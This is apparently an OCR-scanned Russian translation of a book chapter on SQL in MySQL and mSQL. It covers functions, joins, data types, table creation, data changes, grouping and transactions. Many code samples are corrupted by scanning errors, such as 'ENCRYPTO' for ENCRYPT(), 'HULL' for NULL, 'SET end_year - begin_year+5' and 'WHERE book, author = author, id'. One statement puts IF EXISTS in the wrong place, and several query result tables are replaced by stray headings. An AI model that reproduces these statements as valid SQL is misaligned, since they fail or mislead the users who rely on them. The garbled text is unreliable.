    В этом случае функция включается в список извлекаемых колонок. Возвращаемое функцией значение, вычисляемое для каждой выбранной строки, включается в возвращаемое результирующее множество, как если бы это была колонка базы данных. Вот пример:

    # Выбрать название каждого события (event), а также его дату
    # в удобном для чтения формате из всех событий, более свежих,

    # чем указанная дата. Функция FROM_UnixTIME()

    # преобразует стандартное значение времени Unix

    # в читаемый вид.

    SELECT name, FROM_UnixTIME(date)

    FROM events

    WHERE time > 90534323

    # Выбрать заглавие статьи, полный текст ее,

    # и длину (в байтах) полного текста для всех
    # статей, автор которых Stacie Sheldon.

    # Функция LENGTHO возвращает длину заданной

    # строки в символах.

    SELECT title, text, LENGTH(text)

    FROM papers

    WHERE author = 'Stacie Sheldon'

    Как часть предложения WHERE

    В этом виде функция заменяет место константы при вычислении в предложении WHERE. Значение функции используется при сравнении в каждой строке таблицы. Приведем пример.

    # Случайным образом выбрать название объекта из общего числа 35.

    # Функция RAND() генерирует случайное число

    # между 0 и 1 (умножается на 34, чтобы сделать его между 0

    # и 34, и увеличивается на 1 , чтобы сделать его между 1 и


    # 35). Функция ROUND() возвращает данное число округленным

    # до ближайшего целого, что приводит к целому числу

    # между 1 и 35, которое должно соответствовать одному

    # из чисел ID в таблице.

    SELECT name

    FROM entries

    WHERE id = ROUND( (RAND()*34) + 1 )

    # Можно использовать функции одновременно в списке значений

    # и предложении WHERE. В этом примере выбираются имя и дата

    # всех событий, происшедших более суток назад. Функция UNIX_TIMESTAMP()

    # без аргументов возвращает текущее время

    # в формате Unix.

    SELECT name, FROM_UnixTIME(date)

    FROM events

    WHERE time > (Unix_TIMESTAMP() - (60 * 60 * 24) )

    # Функция может использовать значение поля таблицы.

    # В этом примере возвращаются имена всех,

    # кто использовал свое имя в качестве пароля. Функция ENCRYPTO

    # возвращает зашифрованную в стиле пароля Unix

    # заданную строку, используя 2-символьный ключ.

    # Функция LEFT() возвращает п самых левых символов

    # переданной строки.

    SELECT name

    FROM people

    WHERE password = ENCRYPT(name, LEFT(name, 2))

    Наконец, MySQL поддерживает более сильный тип объединения, чем простое внутреннее объединение, которое мы до сих пор использовали. Именно, MySQL поддерживает так называемое левое внешнее объединение (известное также просто как внешнее объединение). Объединение этого типа похоже на внутреннее объединение, за исключением того, что в него включаются данные из левой колонки, которым нет соответствия в правой колонке. Если вы обратитесь к нашим таблицам с авторами и книгами, то вспомните, что в наше объединение не вошли авторы, у которых в базе данных не было книг. Часто вы можете пожелать вывести записи из одной таблицы, для которых нет соответствия в другой таблице, с которой производится объединение. Это можно сделать с помощью внешнего объединения:

    SELECT book.title, author.name

    FROM author

    LEFT JOIN book ON book.author = author.id

    Обратите внимание, что во внешнем объединении вместо WHERE используется ключевое слово ON. Результат нашего запроса будет выглядеть так:


    Расширения языка

    MySQL делает следующий шаг, позволяя использовать естественное внешнее объединение (natural outer join). Естественное внешнее объединение соединяет строки двух таблиц, в которых две колонки имеют одинаковые имена и тип, и значения в этих колонках совпадают:

    SELECT my_prod.name

    FROM my_prod

    NATURAL LEFT JOIN their_prod

    Особенности mSQL

    В mSQL есть пять "системных переменных", которые можно включить в любой запрос. Об одной из этих переменных, _seq, мы уже говорили. Остальные переменные следующие:

    _rowid

    Уникальный идентификатор возвращенной строки данных. Для повышения производительности можно использовать эту переменную в командах UPDATE или DELETE. Однако такой подход нельзя рекомендовать определенно, поскольку разные клиенты могут помешать друг другу. Например, два клиента могут выбрать одну и ту же строку. Первый клиент удаляет ее, а затем третий клиент добавляет новую строку. Новая строка может получить то же значение _rowid, что и удаленная строка. Если теперь второй клиент попытается отредактировать или удалить строку, используя данное значение _rowid, то результат будет совсем не тот, на который он рассчитывал.

    _timestamp

    Время последней модификации строки. В текущей версии mSQL имеет стандартный формат времени Unix. В будущих версиях формат может измениться, поэтому использовать эту переменную следует только для сравнения временных меток разных строк.

    _sysdate

    Возвращает значение текущей даты на сервере mSQL. Может использоваться для синхронизации времени в базе данных, даже если у клиентов на машинах стоит разное время. Имеет стандартный формат Unix.

    _user

    Содержит имя клиента текущего соединения. Как и _-sysdate, не зависит от таблицы, из которой выбирается.

    Создание и удаление таблиц

    Успешно установив MySQL или mSQL, вы можете приступить к созданию своей первой таблицы. Таблица, структурированное вместилище данных, является основным понятием реляционных баз. Прежде чем начать вводить данные в таблицу, вы должны определить ее структуру. Рассмотрим следующую раскладку:
    Создание и удаление таблиц

    каждого поля, а также возможные дополнительные сведения о полях. Тип данных поля определяет, какого рода данные могут в нем содержаться. Типы данных SQL сходны с типами данных в других языках программирования. Полный стандарт SQL допускает большое разнообразие типов данных. MySQL реализует большую их часть, в то время как mSQL -лишь несколько наиболее полезных.

    Общий синтаксис для создания таблиц следующий:

    CREATE TABLE table_name (colutnn_namel type [modifiers] [, column_name2 type [modifiers]] )

    Создание и удаление таблицКакие идентификаторы - имена таблиц и колонок - являются допустимыми, зависит от конкретной СУБД. mSQL обеспечивает поддержку имен в объеме, близком к минимальному. В качестве идентификатора он допускает любую последовательность букв набора ISO 8859-1 (Latin 1), цифр и знака "-", длиной до 20 символов. Идентификатор должен начинаться с буквы. Проблемы вызывает ограничение на использование только ISO 8859-1. Для хорошей переносимости SQL нужно избегать имен, начинающихся не с допустимой буквы. MySQL предоставляет больше возможностей. Длина идентификатора может быть до 64 символов, допустим символ "$", и первым символом может быть цифра. Более важно, однако, что MySQL допускает использование любых символов из установленного в системе локального набора.

    Колонка - это отдельная единица данных в таблице. В таблице может содержаться произвольное число колонок, но использование больших таблиц бывает неэффективным. Вот здесь правильное проектирование базы данных, обсуждавшееся в главе 2, начинает играть важную роль. Создав правильно нормализованные таблицы, можно объединять их ("join") для осуществления поиска в данных, размещенных в нескольких таблицах. Механику объединения таблиц мы обсудим позднее в данной главе.


    Как и бывает в жизни, разрушить легче, чем создать. Следующая команда удаляет таблицу:

    DROP TABLE Lable_name

    Эта команда не оставит и следа от таблицы в базе данных. MySQL уничтожит все данные удаленной таблицы. Если у вас не осталось резервной копии, нет абсолютно никакого способа отменить действие данной операции. Мораль этой истории: всегда храните резервные копии и будьте очень внимательны при удалении таблиц. В один "прекрасный" день это вам пригодится.

    В MySQL можно одной командой удалить несколько таблиц, разделяя их имена запятыми. Например, DROP TABLE people, animals, plants удалит эти три таблицы. Можно также использовать модификатор IF EXISTS для подавления ошибки в случае отсутствия удаляемой таблицы. Этот модификатор полезен в больших сценариях, предназначенных для создания базы данных и всех ее таблиц. Прежде чем создавать таблицу, выполните команду DROP TABLE table_name IF EXISTS.



    Типы данных в SQL

    Каждая колонка таблицы имеет тип. Как уже указывалось, типы данных SQL сходны с типами данных традиционных языков программирования. В то время как во многих языках определен самый минимум типов, необходимых для работы, в SQL для удобства пользователей определены дополнительные типы, такие как MONEY и DATE. Данные типа MONEY можно было бы хранить и как один из основных числовых типов данных, однако использование типа, специально учитывающего особенности денежных расчетов, повышает легкость использования SQL, которая является одной из главных его целей.

    В главе 15 "Справочник по SQL" дается полное справочное руководство по типам SQL, поддерживаемым MySQL и mSQL. В таблице 6-1 дан сокращенный список, состоящий из наиболее употребительных типов, поддерживаемых в обоих языках.

    Таблица 6-1. Наиболее употребительные типы, данных, поддерживаемые как MySQL, так и mSQL




    Тип данных


    Описание

    INT Целое число. В MySQL INT может быть со знаком или без знака, в то время как mSQL имеет отдельный тип UINT для беззнаковых целых.
    REAL Число с плавающей запятой. Этот тип допускает больший диапазон значений, чем INT, но не обладает его точностью.
    TEXT(length) Символьная величина переменной длины. В mSQL значение length используется как предположение о том, какой длины будут хранимые строки. Можно сохранять и строки большей длины, но ценой потери производительности. В MySQL TEXT - лишь один из нескольких типов данных переменного размера.
    DATE Стандартное значение даты. Хотя формат хранения даты различен в MySQL и mSQL, оба ядра могут использовать тип DATE для хранения произвольных дат, относящихся к прошлому, настоящему и будущему. Оба ядра правильно решают "проблему 2000".
    TIME

    Стандартное значение времени. Этот тип используется для хранения времени дня безотносительно какой-либо даты. При использовании вместе с датой позволяет хранить конкретную дату и время. В MySQL есть дополнительный тип DATETIME для совместного хранения даты и времени в одном поле.

    CHAR(length)


    Символьная величина фиксированной длины. Поля типа CHAR не могут содержать строки длины большей, чем указанное значение. Поля меньшей длины дополняются пробелами. Вероятно, это наиболее употребительный тип в любой реализации SQL.
    <


    Типы данных в SQL" MySQL поддерживает атрибут UNSIGNED для всех числовых типов. Этот модификатор позволяет вводить в колонку только положительные (беззнаковые) числа. Беззнаковые поля имеют верхний предел значений вдвое больший, чем у соответствующих знаковых типов. Беззнаковый TINYINT - однобайтовый числовой тип MySQL - имеет диапазон от 0 до 255, а не от -127 до 127, как у своего знакового аналога.

    Та и другая СУБД имеют больше типов, чем перечислено выше. Особенно большое число типов поддерживает MySQL. Однако на практике в основном используются перечисленные типы. В mSQL выбор типа данных сводится к выбору типа, наиболее близкого к данным, которые вы собираетесь хранить. Размер данных, которые вы собираетесь хранить, играет гораздо большую роль при разработке таблиц MySQL.

    Числовые типы данных

    Прежде чем создавать таблицу, вы должны хорошо представить себе, какого рода данные вы будете в ней хранить. Помимо очевидного решения о том, будут это числовые или символьные данные, следует выяснить примерный размер хранимых данных. Если это числовое поле, то каким окажется максимальное значение? Может ли оно измениться в будущем? Если минимальное значение всегда положительно, следует рассмотреть использование беззнакового типа. Всегда следует выбирать самый маленький числовой тип, способный хранить самое большое мыслимое значение. Если бы, к примеру, требовалось хранить в поле численность населения штата, следовало бы выбрать беззнаковый INT. Ни в каком штате не может быть отрицательной численности населения, и для того, чтобы беззнаковое поле типа INT не могло вместить число, представляющее его население, численность населения этого штата должна примерно равняться численности населения всей Земли.

    Символьные типы

    С символьными типами работать немного труднее. Вы должны подумать не только о максимальной и минимальной длине строки, но также о среднем размере, частоте отклонения от него и необходимости в индексировании. В данном контексте мы называем индексом поле или группу полей, в которых вы собираетесь осуществлять поиск — в основном, в предложении WHERE. Индексирование, однако, значительно сложнее, чем такое упрощенное определение, и мы займемся им далее в этой главе. Здесь важно лишь отметить, что индексирование по символьным полям происходит значительно быстрее, если они имеют фиксированную длину. В действительности, mSQL даже не позволяет индексировать поля переменной длины. Если длина строк не слишком колеблется или, что еще лучше, постоянна, то, вероятно, лучше выбрать для поля тип CHAR. Пример хорошего кандидата на тип CHAR — код страны. Стандартом ISO определены двухсимвольные коды для всех стран (US для США, FR для Франции и т. д.). Поскольку эти коды состоят ровно из двух символов, CHAR(2) будет правильным выбором для данного поля.


    Чтобы подходить для типа CHAR, поле необязательно должно быть фиксированной длины, но длина не должна сильно колебаться. Телефонные номера, к примеру, можно смело хранить в поле CHAR(13), хотя длина номеров различна в разных странах. Просто различие не столь велико, поэтому нет смысла делать поле для номера телефона переменным по длине. В отношении поля типа CHAR важно помнить, что, вне зависимости от реальной длины хранимой строки, в поле будет ровно столько символов, сколько указано в его размере — не больше и не меньше. Разность в длине между размером сохраняемого текста и размером поля заполняется пробелами. Не стоит беспокоиться по поводу нескольких лишних символов при хранении телефонных номеров, но не хотелось бы тратить много места в некоторых других случаях. Для этого существуют текстовые поля переменной длины.

    Хороший пример поля, для которого требуется тип данных с переменной длиной, дает URL Интернет. По большей части адреса Web занимают сравнительно немного места - http://www.ora.com, http:// www.hughes.com.au, http://www.mysql.com - и не представляют проблемы. Иногда, однако, можно наткнуться на адреса подобного вида: http://www.winespectator.com/Wine/Spectator/ _notes\5527293926834323221480431354? Xvl I =&Xr5=&Xvl =& type-region-search- code=&Xal 4=flora+springs&Xv4=.

    Если создать поле типа CHAR длины, достаточной для хранения этого URL, то почти для каждого другого хранимого URL будет напрасно тратиться весьма значительное пространство. Поля переменной длины позволяют задать такую длину, что оказывается возможным хранение необычно длинных значений, и в то же время не расходуется напрасно место при хранении обычных коротких величин. В MySQL и mSQL подход к этой проблеме различный.

    Поля переменной длины в MySQL

    Если вы используете только mSQL, этот раздел можно пропустить. Преимуществом текстовых полей переменной длины в MySQL является то, что они используют ровно столько места, сколько необходимо для хранения отдельной величины. Например, поле типа VARCHAR(255) , в котором хранится строка "hello, world", занимает только двенадцать байтов (по одному байту на каждый символ плюс еще один байт для хранения длины).


    Типы данных в SQL В отличие от стандарта ANSI, в MySQL поля типа VARCHAR не дополняются пробелами. Перед записью из строки удаляются лишние пробелы.



    Сохранить строки, длина которых больше, чем заданный размер поля, нельзя. В поле VARCHAR(4) можно сохранить строку не длиннее 4 символов. Если вы попытаетесь сохранить строку "happy birthday", MySQL сократит ее до "happ". Недостатком подхода MySQL к хранению полей переменной длины, в сравнении с mSQL, является то, что не существует способа сохранить необычную строку, длина которой превосходит заданное вами значение. В таблице 6-2 показан размер пространства, необходимого для хранения 144-символьного URL, продемонстрированного выше, и обычного, 30-символьного URL,

    Таблица 6-2. Пространство памяти, необходимое для различных символьных типов MySQL

    Тип данных

    Пространство для хранения строки из 144 символов

    Пространство для хранения строки из 30 символов

    Максимальная длина строки

    СНАR(150)

    150

    150

    255

    VARCHAR(ISO)

    145

    31

    255

    TINYTEXT(ISO)

    145

    31

    255

    ТЕХТ(150)

    146

    32

    65535

    MEDIUM-ТЕХТ(150)

    147

    33

    16777215

    LONGTEXT(150)

    148

    34

    4294967295

    Если через годы работы со своей базой данных вы обнаружите, что мир изменился, и поле, уютно чувствовавшее себя в типе VARCHAR(25) , должно теперь вмещать строки длиной 30 символов, не все потеряно. В MySQL есть команда ALTER TABLE , позволяющая переопределить размер поля без потери данных.

    ALTER TABLE mytable MODIFY tnycolumn LONGTEXT

    Поля переменной длины в mSQL

    Если вас интересует только MySQL, этот раздел можно пропустить. Символьные поля переменной длины в mSQL позволяют задать длину как средний размер строки, которая будет в нем храниться. Каждая величина, вводимая в это поле, займет, по крайней мере, столько места, сколько вами задано, но поле может хранить и более длинные строки. Для этого база данных создает таблицу переполнения, в которой хранит лишние данные. Недостаток такого подхода проявляется в снижении производительности и невозможности индексировать поля переменной длины.


    Остановимся немного на последствиях различий в подходе. Чтобы сохранить все вышеперечисленные URL в поле типа CHAR, потребуется колонка типа CHAR(144). При таком развитии событий четыре упомянутые URL займут 576 байт (144 х 4), хотя фактически хранится только 216 байт данных. Остальные 360 байт- просто потерянное пространство. Если помножить эту цифру на тысячи и миллионы строк, то можно понять, что это представляет собой серьезную проблему. Если же использовать поле переменной длины типа ТЕХТ(30), то для хранения 216 байт данных требуется только 234 байта (30 X 3 + 144). Всего лишь 18 байт потеряно. Экономия составила 41%!

    Двоичные типы данных

    В mSQL нет поддержки двоичных данных. В MySQL, напротив, есть целый ряд двоичных типов данных, соответствующих своим символьным аналогам. Двоичными типами, поддерживаемыми MySQL, являются CHAR BINARY , VARCHAR BINARY , TINYBLOB, BLOB, MEDIUMBLOB и LONGBLOB. Практическое отличие между символьными типами и их двоичными аналогами основано на принципе кодировки. Двоичные данные просто являются куском данных, которые MySQL не пытается интерпретировать. Напротив, символьные данные предполагаются представляющими текстовые данные из используемых человеком алфавитов. Поэтому они кодируются и сортируются, основываясь на правилах, соответствующих рассматриваемому набору символов. Двоичные же данные MySQL сортирует в порядке ASCII без учета регистра.

    Перечисления и множества

    MySQL предоставляет еще два особых типа данных, не имеющих аналога в mSQL. Тип ENUM позволяет при создании таблицы указать список возможных значений некоторого поля. Например, если бы у вас была колонка с именем "фрукт", в которую вы разрешили бы помещать только значения "яблоко", "апельсин", "киви" и "банан", ей следовало бы присвоить тип ENUM:

    CREATE TABLE meal(meal_id INT NOT NULL PRIMARY KEY,

    фрукт ENUM('яблоко', 'апельсин', 'киви', 'банан'))

    При записи значения в эту колонку оно должно быть одним из перечисленных фруктов. Поскольку MySQL заранее знает, какие значения допустимы для этой колонки, она может абстрагировать их каким-либо числовым типом. Иными словами, вместо того, чтобы хранить в колонке "яблоко" в виде строки, MySQL заменяет его однобайтовым числом, а "яблоко" вы видите, когда обращаетесь к таблице или выводите из нее результаты.


    Тип MySQL SET работает аналогично, но позволяет одновременно хранить в поле несколько значений.

    Другие типы данных

    Любые мыслимые данные можно хранить с помощью числовых или символьных типов. В принципе, даже числа можно хранить в символьном виде. Однако то, что это можно сделать, не означает, что это нужно делать. Рассмотрим, к примеру, как хранить в базе данных денежные суммы. Можно делать это, используя INT или REAL. Хотя интуитивно REAL может показаться более подходящим - в конце концов, в денежных суммах нужны десятичные знаки, - на самом деле более правильно использовать INT. В полях, содержащих значения с плавающей запятой, таких как REAL, часто невозможно найти число с точным десятичным значением. Например, если вы вводите число 0.43, которое должно представлять сумму $0.43, MySQL и mSQL могут записать его как 0.42999998. Это небольшое отличие может вызвать проблемы при совершении большого числа математических операций. Сохраняя число как INT и устанавливая десятичную точку в нужное место, можно быть уверенным, что его значение представляет именно то, что вам требуется.

    К чему такие хлопоты? Не лучше ли было бы, если бы MySQL и mSQL обеспечивали некий тип данных, специально предназначенный для денежных сумм? MySQL и в меньшей степени mSQL предоставляют специальные типы данных для таких случаев. Одним из них является тип MONEY, другим- DATE. Полное описание всех типов данных можно найти в главе 17 "Программы и утилиты для MySQL и mSQL".



    Управление данными

    Первое, что вы делаете, создав таблицу, это начинаете добавлять в нее данные. Если данные уже есть, может возникнуть необходимость изменить или удалить их.

    Добавление данных

    Добавление данных в таблицу является одной из наиболее простых операций SQL. Несколько примеров этого вы уже видели. Как MySQL, так и mSQL поддерживают стандартный синтаксис INSERT:

    INSERT INTO table_name (columnl, column2, ..., columnN)
    VALUES (value!, value2, .... valueN)

    Данные для числовых полей вводятся как они есть. Для всех других полей вводимые данные заключаются в одиночные кавычки. Например, для ввода данных в таблицу адресов можно выполнить следующую команду:

    INSERT INTO addresses (name, address, city, state, phone, age)
    VALUES( 'Irving Forbush', ' 123 Mockingbird Lane', 'Corbin', 'KY', '(800) 555-1234', 26)

    Кроме того, управляющий символ - по умолчанию '\' — позволяет вводить в литералы одиночные кавычки и сам символ '\':

    # Ввести данные в каталог Stacie's Directory, который находится

    # в c:\Personal\Stacie

    INSERT INTO files (description, location)

    VALUES ('Stacie\'s Directory', 'C: \\Personal\\Stacie')

    MySQL позволяет опустить названия колонок, если значения задаются для всех колонок и в том порядке, в котором они были указаны при создании таблицы командой CREATE. Однако если вы хотите использовать значения по умолчанию, нужно задать имена тех колонок, в которые вы вводите значения, отличные от установленных по умолчанию. Если для колонки не установлено значение по умолчанию и она определена как NOT NULL , необходимо включить эту колонку в команду INSERT со значением, отличным от NULL. В mSQL значение по умолчанию всегда NULL. MySQL позволяет указать значение по умолчанию при создании таблицы в команде CREATE.

    Более новые версии MySQL поддерживают нестандартный вызов INSERT для одновременной вставки сразу нескольких строк:

    INSERT INTO foods VALUES (NULL, 'Oranges', 133, 0, 2, 39),

    (HULL, 'Bananas', 122, 0, 4, 29), (NULL, 'Liver', 232, 3, 15, 10)

    Управление даннымиХотя поддерживаемый MySQL нестандартный синтаксис удобно использовать для быстрого выполнения задач администрирования, не следует без крайней нужды пользоваться им при написании приложений. Как правило, следует придерживаться стандарта ANSI SQL2 настолько близко, насколько MySQL и mSQL это позволяют. Благодаря этому вы получаете возможность перейти в будущем на какую-нибудь другую базу данных. Переносимость особенно важна для тех, у кого потребности среднего масштаба, поскольку такие пользователи обычно предполагают когда-нибудь перейти на полномасштабную базу данных.


    MySQL поддерживает синтаксис SQL2, позволяющий вводить в таблицу результаты запроса SELECT:

    INSERT INTO foods (name, fat)

    SELECT food_name, fat_grams FROM recipes

    Обратите внимание, что число колонок в INSERT соответствует числу колонок в SELECT. Кроме того, типы данных колонок в INSERT должны совпадать с типами данных в соответствующих колонках SELECT. И, наконец, предложение SELECT внутри команды INSERT не должно содержать модификатора ORDER BY и не может производить выборку-из той же таблицы, в которую вставляются данные командой INSERT.

    Изменение данных

    Добавление новых строк в базу данных - лишь начало ее использования. Если ваша база не является базой данных "только для чтения", вам, вероятно, понадобится периодически изменять данные. Стандартная команда SQL для изменения данных выглядит так:

    UPDATE table_name

    SET column1=value1, column2=value2, ..., columnN=valueN

    [WHERE clause]

    В mSQL значение, присваиваемое колонке, должно быть литералом и иметь тот же тип, что и колонка. MySQL, напротив, позволяет вычислять присваиваемое значение. Можно даже вычислять значение, используя значение другой колонки:

    UPDATE years

    SET end_year - begin_year+5

    В этой команде значение колонки end_year устанавливается равным значению колонки begin_year плюс 5 для каждой строки таблицы.

    Предложение WHERE

    Возможно, вы уже обратили внимание на предложение WHERE. В SQL предложение WHERE позволяет отобрать строки таблицы с заданным значением в указанной колонке, например:

    UPDATE bands

    SET lead_singer = 'Ian Anderson'

    WHERE band_name = 'Jethro Tull'

    Эта команда — UPDATE - указывает, что нужно изменить значение в колонке lead_singer для тех строк, в которых band_name совпадает с "Jethro Tull." Если рассматриваемая колонка не является уникальным индексом, предложение WHERE может соответствовать нескольким строкам. Многие команды SQL используют предложение WHERE, чтобы отобрать строки, над которыми нужно совершить операции. Поскольку по колонкам, участвующим в предложении WHERE, осуществляется поиск, следует иметь индексы по тем их комбинациям, которые обычно используются.


    Удаление

    Удаление данных - очень простая операция. Вы просто указываете таблицу, из которой нужно удалить строки, и в предложении WHERE задаете строки, которые хотите удалить:

    DELETE FROM table_name [WHERE clause]

    Как и в других командах, допускающих использование предложения WHERE, его использование является необязательным. Если предложение WHERE опущено, то из таблицы будут удалены все записи! Из всех удаляющих данные команд SQL эта легче всего может привести к ошибке.

    Запросы

    Самая часто используемая команда SQL - та, которая позволяет просматривать данные в базе: SELECT. Ввод и изменение данных производятся лишь от случая к случаю, и большинство баз данных в основном занято тем, что предоставляет данные для чтения. Общий вид команды SELECT следующий:

    SELECT column1, column2, ..., columnN

    FROM table1, table2, .... tableN

    [WHERE clause]

    Этот синтаксис, несомненно, чаще всего используется для извлечения данных из базы, поддерживающей SQL. Конечно, существуют разные варианты для выполнения сложных и мощных запросов, особенно в MySQL. Мы полностью осветим синтаксис SELECT в главе 15.

    В первой части команды SELECT перечисляются колонки, которые вы хотите извлечь. Можно задать "*", чтобы указать, что вы хотите извлечь все колонки. В предложении FROM указываются таблицы, в которых находятся эти колонки. Предложение WHERE указывает, какие именно строки должны использоваться, и позволяет определить, каким образом должны объединяться две таблицы.

    Объединения

    Объединения вносят "реляционность" в реляционные базы данных. Именно объединение позволяет сопоставить строке одной таблицы строку другой. Основным видом объединения является то, что иногда называют внутренним объединением. Объединение таблиц заключается в приравнивании колонок двух таблиц:

    SELECT book, title, author, name

    FROM author, book

    WHERE book, author = author, id

    Рассмотрим базу данных, в которой таблица book имеет вид, как в таблице 6-3.

    Таблица 6-3. Таблица книг




    ID



    Title



    Author



    Pages



    1



    The Green Mile



    4



    894



    2



    Guards, Guards!



    2



    302



    ID



    Title



    Author



    Pages



    3



    Imzadi



    3



    354



    4



    Gold



    1



    405



    5



    Howling Mad



    3



    294

    А таблица авторов author имеет вид таблицы 6-4.

    Таблица 6-4. Таблица авторов



    ID



    Name



    Citizen



    1



    Isaac Asimov



    US



    2



    Terry Pratchet



    UK



    3



    Peter David



    us



    4



    Stephen King



    us



    5



    Neil Gaiman



    UK

    В результате внутреннего объединения создается таблица, в которой объединяются поля обеих таблиц для строк, удовлетворяющих запросу в обеих таблицах. В нашем примере запрос указывает, что поле author в таблице book должно совпадать с полем id таблицы author. Результат выполнения этого запроса представлен в таблице 6-5.

    Таблица 6-5. Результаты запроса с внутренним объединением



    Book Title



    Author Name



    The Green Mile



    Stephen King



    Guards, Guards!



    Terry Pratchet



    Imzadi



    Peter David



    Gold



    Isaac Asimov



    Howling Mad



    Peter David

    В этих результатах нет автора с именем Neil Gaiman, поскольку его author, id не найден в таблице book, author. Внутреннее объединение содержит только те строки, которые точно соответствуют запросу. Позднее в этой главе мы обсудим понятие внешнего объединения, которое оказывается полезным в случае, когда в базу данных внесен писатель, у которого нет в этой базе книг.

    Псевдонимы

    Полные имена, содержащие имена таблиц и колонок, зачастую весьма громоздки. Кроме того, при использовании функций SQL, о которых мы будем говорить ниже, может оказаться затруднительным ссы-

    латься на одну и ту же функцию более одного раза в пределах одной команды. Псевдонимы, которые обычно короче и более выразительны, могут использоваться вместо длинных имен внутри одной команды SQL, например:

    # Псевдоним колонки

    SELECT long_field_names_are_annoying AS myfield

    FROM table_name


    WHERE myfield = 'Joe'

    # Псевдоним таблицы в MySQL

    SELECT people.names, tests.score

    FROM tests, really_long_people_table_name AS people

    # Псевдоним таблицы в mSQL

    SELECT people.names, tests.score

    FROM tests, really_long_people_table_name=people

    mSQL полностью поддерживает псевдонимы для таблиц, но не поддерживает псевдонимы для колонок.

    Группировка и упорядочение

    По умолчанию порядок, в котором появляются результаты выборки, не определен. К счастью, SQL предоставляет некоторые средства наведения порядка в этой случайной последовательности. Первое средство -упорядочение - есть и в MySQL, и в mSQL. Вы можете потребовать от базы данных, чтобы выводимые результаты были упорядочены по некоторой колонке. Например, если вы укажете, что запрос должен упорядочить результаты по полю last_name , то результаты будут выведены в алфавитном порядке по значению поля last_name . Упорядочение осуществляется с помощью предложения ORDER BY:

    SELECT last_name, first_name, age

    FROM people

    ORDER BY last_name, first_name

    В данном случае упорядочение производится по двум колонкам. Можно проводить упорядочение по любому числу колонок, но все они должны быть указаны в предложении SELECT. Если бы в предыдущем примере мы не выбрали поле last_name , то не смогли бы упорядочить по нему.

    Группировка — это средство ANSI SQL, реализованное в MySQL, но не в mSQL. Поскольку в mSQL нет агрегатных функций, то группировка просто не имеет смысла. Как и предполагает название, группировка позволяет объединять в одну строки с аналогичными значениями с целью их совместной обработки. Обычно это делается для применения к результатам агрегатных функций. О функциях мы поговорим несколько позднее.

    Рассмотрим пример:

    mysql> SELECT name, rank, salary FROM people\g

    Управление данными

    5 rows in set (0.01 sec)

    После группировки по званию (rank) выдача изменяется:

    mysql> SELECT rank FROM people GROUP BY rank\g

    Управление данными

    3 rows in set (0.01 sec)

    После применения группировки можно, наконец, найти среднюю зарплату (salary) для каждого звания. О функциях, используемых в этом примере, мы поговорим позднее.


    mysql> SELECT rank, AVG(salary) FROM people GROUP BY rank\g

    Управление данными

    3 rows in set (0.04 sec)

    Мощь упорядочения и группировки в сочетании с использованием функций SQL позволяет производить большой объем обработки данных на сервере до их извлечения. Но этой мощью нужно пользоваться с большой осторожностью. Хотя может показаться, что перенос максимального объема обработки на сервер базы данных дает выигрыш в производительности, на самом деле это не так. Ваше приложение-клиент обслуживает потребности отдельного клиента, в то время как сервер совместно используется многими клиентами. Из-за большого объема работы, который должен производить сервер, почти всегда более эффективно возложить на сервер минимально возможную нагрузку. MySQL и mSQL, возможно, наиболее быстрые из имеющихся баз данных, но не нужно использовать эту скорость для той работы, к которой лучше приспособлено клиентское приложение.

    Если вам известно, что много клиентов будет запрашивать одни и те же итоговые данные (например, данные по некоторому званию в нашем предыдущем примере), создайте новую таблицу с этими данными и обновляйте ее при изменении данных в исходной таблице. Эта операция аналогична буферизации и является распространенным приемом в программировании баз данных.



    Beagle

    Beagle является бесплатным ядром баз данных SQL, разработанным и реализованным Робертом Клейном (Robert Klein). Как и GNU SQL, Beagle задуман как полностью SQL-совместимый сервер со всеми необходимыми функциями, включая объектно-реляционные расширения, впервые появившиеся в PostgreSQL. Как и GNU SQL, Beagle во многом не завершен. Ко времени печати этой книги он достиг того уровня развития, когда он надежен и может использоваться для тестирования и разработки. Для промышленного пользования этот продукт еще не готов.

    Одной из наиболее интересных особенностей Beagle является то, что автор с самого начала проекта вел журнал разработки. Изучая этот журнал, вы можете проследить развитие SQL-сервера от простого тестового приложения, использующего TCP и архитектуру клиент/сервер, до почти полностью функционального SQL-сервера, каким он является сегодня. Домашняя страница Beagle расположена на http:// www.beaglesql.org.



    Чего недостает MySQL и mSQL

    Слово "недостает" выбрано за неимением лучшего. Как уже отмечалось, MySQL и mSQL сознательно предпочли отказаться от возможностей, которые могли снизить их производительность. Иными словами, в MySQL и mSQL ставка сделана на производительность. Однако некоторые пользователи среднего класса готовы отчасти пожертвовать производительностью ради определенных функций. Для понимания того, что предлагают другие базы данных среднего масштаба, полезно выяснить, что же опущено в MySQL и mSQL.

    Чего недостает MySQL и mSQLРазработчики MySQL собираются все-таки включить в свой продукт некоторые из этих функций с возможностью по желанию их отключать. Сейчас, когда книга печатается, мы зна- . ем, что планируется реализовать механизм хранимых процедур и вложенных запросов, а возможно, и транзакций.

    Транзакции

    Транзакции позволяют сгруппировать вместе несколько команд SQL в качестве единицы работы. Группируя вместе команды, можно быть уверенным, что никто не столкнется с частично измененной базой данных. Кроме того, при невозможности выполнить одну из команд вся единица работы не будет выполнена. Транзакции можно зрительно представить себе как перекресток оживленных дорог. В однопоточной системе с очередью, такой как mSQL, это как остановка перед перекрестком со всех четырех сторон. Все машины проезжают в очередь по одной. Если проезжает колонна из двух машин, существует опасность, что она будет разорвана перед знаком остановки.

    В многопоточной системе с блокировкой, такой как MySQL, это больше напоминает перекресток с регулировщиком вместо знаков остановки. Движение происходит в любом порядке и с любой скоростью, а регулировщик следит, чтобы не было столкновений. Если к перекрестку подходят одновременно две машины с пересекающихся направлений, регулировщик приказывает одной из них остановиться и подождать, пока другая преодолеет перекресток.

    Транзакции напоминают перекресток со светофором. Подходящий транспорт останавливается перед красным сигналом на то время, пока весь транспорт, следующий в перпендикулярном направлении, не пересечет перекресток.


    Практический пример использования транзакций - банковское приложение, в котором перевод средств со сберегательного на чековый счет выполняется в результате изменения остатка на сберегательном счете, а затем изменения остатка на чековом счете. Это можно осуществить с помощью двух команд SQL:

    # Снять $100 из $110 на сберегательном счете

    UPDATE account

    SET balance = 10.00

    WHERE id = 1234

    # Добавить $100 к $55 на чековом счете

    UPDATE account

    SET balance = 155.00

    WHERE id = 5678

    В промежутке между двумя этими изменениями другой клиент мог провести операцию, проверяющую состояние чекового и сберегательного счетов, чтобы узнать, достаточна ли сумма для оплаты чека. Если бы подобное произошло, чек был бы возвращен банком. Еще хуже, если сервер "упадет" в промежутке между двумя изменениями. Клиент просто потеряет $100.

